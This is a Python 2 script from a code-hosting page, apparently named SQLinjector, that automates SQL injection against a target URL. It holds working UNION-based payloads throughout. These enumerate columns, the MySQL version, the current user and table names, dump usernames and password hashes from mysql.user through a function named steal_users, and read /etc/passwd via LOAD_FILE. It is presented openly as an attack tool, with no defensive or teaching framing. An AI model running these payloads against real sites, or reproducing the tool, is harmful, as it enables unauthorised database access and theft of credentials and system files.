-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSQLinjector-4.py
179 lines (153 loc) · 4.63 KB
/
SQLinjector-4.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import requests
import sys
import getopt
import re
from termcolor import colored
def banner():
print "\n***************************************"
print "* SQlinjector 1.0 *"
print "***************************************"
def usage():
print "Usage:"
print " -w: url (http://somesite.com/news.php?id=FUZZ)\n"
print " -i: injection strings file \n"
print "example: SQLinjector.py -w http://www.somesite.com/news.php?id=FUZZ \n"
def start(argv):
banner()
if len(sys.argv) < 2:
usage()
sys.exit()
try:
opts, args = getopt.getopt(argv,"w:i:")
except getopt.GetoptError:
print "Error en arguments"
sys.exit()
for opt,arg in opts :
if opt == '-w' :
url=arg
elif opt == '-i':
dictio = arg
try:
print "[-] Opening injections file: " + dictio
f = open(dictio, "r")
name = f.read().splitlines()
except:
print"Failed opening file: "+ dictio+"\n"
sys.exit()
launcher(url,name)
def launcher (url,dictio):
injected = []
for x in dictio:
sqlinjection=x
injected.append(url.replace("FUZZ",sqlinjection))
res = injector(injected)
print colored('[+] Detection results:','green')
print "------------------"
for x in res:
print x.split(";")[0]
print colored ('[+] Detect columns: ','green')
print "-----------------"
res = detect_columns(url)
print "Number of columns: " + res
res = detect_columns_names(url)
print "[+] Columns names found: "
print "-------------------------"
for col in res:
print col
print colored('[+] DB version: ','green')
print "---------------"
detect_version(url)
print colored('[+] Current USER: ','green')
print "---------------"
detect_user(url)
print colored('[+] Get tables names:','green')
print "---------------------"
detect_table_names(url)
print colored('[+] Attempting MYSQL user extraction','green')
print "-------------------------------------"
steal_users(url)
filename="/etc/passwd"
message = "\n[+] Reading file: " + filename
print colored(message,'green')
print "---------------------------------"
read_file(url,filename)
def injector(injected):
errors = ['Mysql','error in your SQL']
results = []
for y in injected:
print "[-] Testing errors: " + y
req=requests.get(y)
for x in errors:
if req.content.find(x) != -1:
res = y + ";" + x
results.append(res)
return results
def detect_columns(url):
new_url= url.replace("FUZZ","admin' order by X-- -")
y=1
while y < 20:
req=requests.get(new_url.replace("X",str(y)))
if req.content.find("Unknown") == -1:
y+=1
else:
break
return str(y-1)
def detect_version(url):
new_url= url.replace("FUZZ","\'%20union%20SELECT%201,CONCAT('TOK',@@version,'TOK')--%20-")
req=requests.get(new_url)
raw = req.content
reg = ur"TOK([a-zA-Z0-9].+?)TOK+?"
version=re.findall(reg,req.content)
for ver in version:
print ver
return ver
def detect_user(url):
new_url= url.replace("FUZZ","\'%20union%20SELECT%201,CONCAT('TOK',user(),'TOK')--%20-")
req=requests.get(new_url)
raw = req.content
reg = ur"TOK([a-zA-Z0-9].+?)TOK+?"
users=re.findall(reg,req.content)
for user in users:
print user
return user
def steal_users(url):
new_url= url.replace("FUZZ","1\'%20union%20SELECT%20CONCAT('TOK',user,'TOK'),CONCAT('TOK',password,'TOK')%20FROM%20mysql.user--%20-")
req=requests.get(new_url)
reg = ur"TOK([\*a-zA-Z0-9].+?)TOK+?"
users=re.findall(reg,req.content)
for user in users:
print user
def read_file(url, filename):
new_url= url.replace("FUZZ","""A\'%20union%20SELECT%201,CONCAT('TOK',
LOAD_FILE(\'"+filename+"\'),'TOK')--%20-""")
req=requests.get(new_url)
reg = ur"TOK(.+?)TOK+?"
files= re.findall(reg,req.content)
print req.content
for x in files:
if not x.find('TOK,'):
print x
def detect_table_names(url):
new_url= url.replace("FUZZ","\'%20union%20SELECT%20CONCAT('TOK',table_schema,'TOK'),CONCAT('TOK',table_name,'TOK')%20FROM%20information_schema.tables%20WHERE%20table_schema%20!=%20%27mysql%27%20AND%20table_schema%20!=%20%27information_schema%27%20and%20table_schema%20!=%20%27performance_schema%27%20--%20-")
req=requests.get(new_url)
raw = req.content
reg = ur"TOK([a-zA-Z0-9].+?)TOK+?"
tables=re.findall(reg,req.content)
for table in tables:
print table
def detect_columns_names(url):
column_names = ['username','user','name','pass','passwd','password','id','role','surname','address']
new_url= url.replace("FUZZ","admin' group by X-- -")
valid_cols = []
for name in column_names:
req=requests.get(new_url.replace("X",name))
if req.content.find("Unknown") == -1:
valid_cols.append(name)
else:
pass
return valid_cols
if __name__ == "__main__":
try:
start(sys.argv[1:])
except KeyboardInterrupt:
print "SQLinjector interrupted by user..!!"